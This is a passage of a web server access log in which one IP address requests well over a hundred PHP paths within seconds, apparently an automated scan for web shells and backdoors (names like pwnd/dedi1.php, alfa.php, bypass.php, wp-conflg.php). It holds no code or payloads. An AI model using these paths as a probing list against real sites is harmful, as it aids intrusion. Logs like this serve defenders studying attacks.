Chrome/58.0.3029.110 Safari/537.3" 212.30.37.22 - - [13/Apr/2026:06:29:17 +0300] "GET /wp-admin/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 212.30.37.22 - - [13/Apr/2026:06:29:17 +0300] "GET /wp-admin/css/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:17 +0300] "GET /wp-includes/sitemaps/providers/doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:17 +0300] "GET /ws.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.37.22 - - [13/Apr/2026:06:29:17 +0300] "GET /wp-includes/rest-api/1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:18 +0300] "GET /wp-includes/fonts/class_api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 212.30.37.22 - - [13/Apr/2026:06:29:18 +0300] "GET /shop.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:18 +0300] "GET /wp-content/plugins/pwnd-1/dedi1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:18 +0300] "GET /wp-admin/js/widgets/setting.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 212.30.37.22 - - [13/Apr/2026:06:29:18 +0300] "GET /wp-includes/images/smilies/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:18 +0300] "GET /wp-admin/css/colors/light/as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:18 +0300] "GET /wp-admin/user/header.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 212.30.37.22 - - [13/Apr/2026:06:29:18 +0300] "GET /wp-includes/IXR/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:18 +0300] "GET /wp-api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 212.30.37.22 - - [13/Apr/2026:06:29:18 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:18 +0300] "GET /css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:18 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.37.22 - - [13/Apr/2026:06:29:18 +0300] "GET /wp-includes/class-wp-customize-manager-interpreter.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:18 +0300] "GET /wp-includes/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 212.30.37.22 - - [13/Apr/2026:06:29:18 +0300] "GET /images/fm.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.37.22 - - [13/Apr/2026:06:29:18 +0300] "GET /wp-includes/count.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:18 +0300] "GET /wp-error_log.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:29:18 +0300] "GET /assets/class_update_plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:29:18 +0300] "GET /wp-admin/network/av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 212.30.37.22 - - [13/Apr/2026:06:29:18 +0300] "GET /templates/beez5/error.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:18 +0300] "GET /wp-admin/network/admin-footer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:18 +0300] "GET /js/firewall.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:18 +0300] "GET /wp-includes/certificates/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:18 +0300] "GET /assets/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.37.22 - - [13/Apr/2026:06:29:18 +0300] "GET /wp-admin/js/file/incpb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:18 +0300] "GET /images/stories/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:29:19 +0300] "GET /wp-includes/theme-compat/footer-embed-function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:19 +0300] "GET /wp-includes/firewall.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.37.22 - - [13/Apr/2026:06:29:19 +0300] "GET /home/O-Simple.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:19 +0300] "GET /wp-includes/l10n/class-wp-translation-file-mo-event.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:29:19 +0300] "GET /wp-includes/vars-soap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 212.30.37.22 - - [13/Apr/2026:06:29:19 +0300] "GET /wp-content/themes/twentytwentytwo/av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:19 +0300] "GET /style.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:19 +0300] "GET /files.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 212.30.37.22 - - [13/Apr/2026:06:29:19 +0300] "GET /wp-content/themes/av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:19 +0300] "GET /wp-admin/css/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:19 +0300] "GET /saka.phP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 212.30.37.22 - - [13/Apr/2026:06:29:19 +0300] "GET /wp-includes/id3/wp-work.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:29:19 +0300] "GET /wp-content/plugins/WordPressCore/gecko.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:29:19 +0300] "GET /baxa1.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.37.22 - - [13/Apr/2026:06:29:19 +0300] "GET /wp-includes/class-wp-taxonomy.editor.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:19 +0300] "GET /wp-content/plugins/pwnd/dedi1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 212.30.37.22 - - [13/Apr/2026:06:29:19 +0300] "GET /wp-includes/js/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:19 +0300] "GET /blog.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:19 +0300] "GET /about/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 212.30.37.22 - - [13/Apr/2026:06:29:19 +0300] "GET /wp-content/themes/pridmag/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.37.22 - - [13/Apr/2026:06:29:19 +0300] "GET /wp-admin/network/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.37.22 - - [13/Apr/2026:06:29:19 +0300] "GET /images/av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:29:19 +0300] "GET /wp-includes/interactivity-api/interactivity-api-xml.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:29:19 +0300] "GET /wp-includes/colour.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:19 +0300] "GET /elp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 212.30.37.22 - - [13/Apr/2026:06:29:19 +0300] "GET /wp-includes/customize/class-wp-customize-background-position-control-variable.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 212.30.37.22 - - [13/Apr/2026:06:29:19 +0300] "GET /wp-includes/images/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.37.22 - - [13/Apr/2026:06:29:19 +0300] "GET /wp-content/themes/av.php.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 212.30.37.22 - - [13/Apr/2026:06:29:19 +0300] "GET /wp-content/plugins/pwnd-1/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 212.30.37.22 - - [13/Apr/2026:06:29:19 +0300] "GET /wp-includes/js/imgareaselect/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:19 +0300] "GET /upload/bilder/cong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.37.22 - - [13/Apr/2026:06:29:19 +0300] "GET /wp-admin/css/colors/blue/pass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:19 +0300] "GET /wp-includes/l10n/class-wp-translations-interface.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 212.30.37.22 - - [13/Apr/2026:06:29:19 +0300] "GET /wp-includes/assets/about5.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:19 +0300] "GET /wp-admin/maint/lint-branch.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 212.30.37.22 - - [13/Apr/2026:06:29:19 +0300] "GET /wp-content/cong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:19 +0300] "GET /js/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:20 +0300] "GET /.well-known/buy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 212.30.37.22 - - [13/Apr/2026:06:29:20 +0300] "GET /wp-includes/ID3/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:20 +0300] "GET /function/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 212.30.37.22 - - [13/Apr/2026:06:29:20 +0300] "GET /wp-content/themes/tflow/av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:20 +0300] "GET /wp-includes/js/dist/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 212.30.37.22 - - [13/Apr/2026:06:29:20 +0300] "GET /testt.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.37.22 - - [13/Apr/2026:06:29:20 +0300] "GET /wp-content/uploads/goods.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:20 +0300] "GET /wp-admin/js/sad.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:20 +0300] "GET /wp-includes/sitemaps/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 212.30.37.22 - - [13/Apr/2026:06:29:20 +0300] "GET /wp-includes/assets/wp-includes/assets/script-loader-packages.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 212.30.37.22 - - [13/Apr/2026:06:29:20 +0300] "GET /wp-includes/SimplePie/login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:29:20 +0300] "GET /network.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:20 +0300] "GET /wp-admin/css/colors/blue/alfa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:29:20 +0300] "GET /wp-includes/sitemaps/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.37.22 - - [13/Apr/2026:06:29:20 +0300] "GET /wikindex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 212.30.37.22 - - [13/Apr/2026:06:29:20 +0300] "GET /wp-content/plugins/seoo/alfa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.37.22 - - [13/Apr/2026:06:29:20 +0300] "GET /wp-includes/SimplePie/Cache/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:29:20 +0300] "GET /wp-includes/css/dist/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 212.30.37.22 - - [13/Apr/2026:06:29:20 +0300] "GET /wp-content/as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:20 +0300] "GET /wp-includes/customize/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:20 +0300] "GET /wp-includes/js/simi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:29:20 +0300] "GET /wp-admin/images/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:20 +0300] "GET /wp-admin/css/colors/gold.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:20 +0300] "GET /wp-includes/Requests/Text/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 212.30.37.22 - - [13/Apr/2026:06:29:20 +0300] "GET /wp-content/mu-plugins/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:20 +0300] "GET /wp-includes/sitemaps/abcd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.37.22 - - [13/Apr/2026:06:29:20 +0300] "GET /wp-includes/ID3/rk2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.37.22 - - [13/Apr/2026:06:29:20 +0300] "GET /wp-includes/widgets/class-wp-widget-search-interpreter.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:29:20 +0300] "GET /wp-admin/css/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:20 +0300] "GET /wp-content/plugins/pwnd/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:29:21 +0300] "GET /wp-includes/block-template-utils-other.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:21 +0300] "GET /wp-content/alam.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 212.30.37.22 - - [13/Apr/2026:06:29:21 +0300] "GET /css/adminfusm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:21 +0300] "GET /wp-includes/sodium_compat/lib/widget-group.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:21 +0300] "GET /wp-content/raw.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:21 +0300] "GET /wp-includes/js/jcrop/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:21 +0300] "GET /wp-admin/includes/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:21 +0300] "GET /wp-includes/customize/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:21 +0300] "GET /wp-content/uploads/2021/wp-works.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:21 +0300] "GET /wp-admin/media-new.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:21 +0300] "GET /media-new.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:21 +0300] "GET /js/class_api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:21 +0300] "GET /wp-content/uploads/2021/themes.php HTTP/1.1" 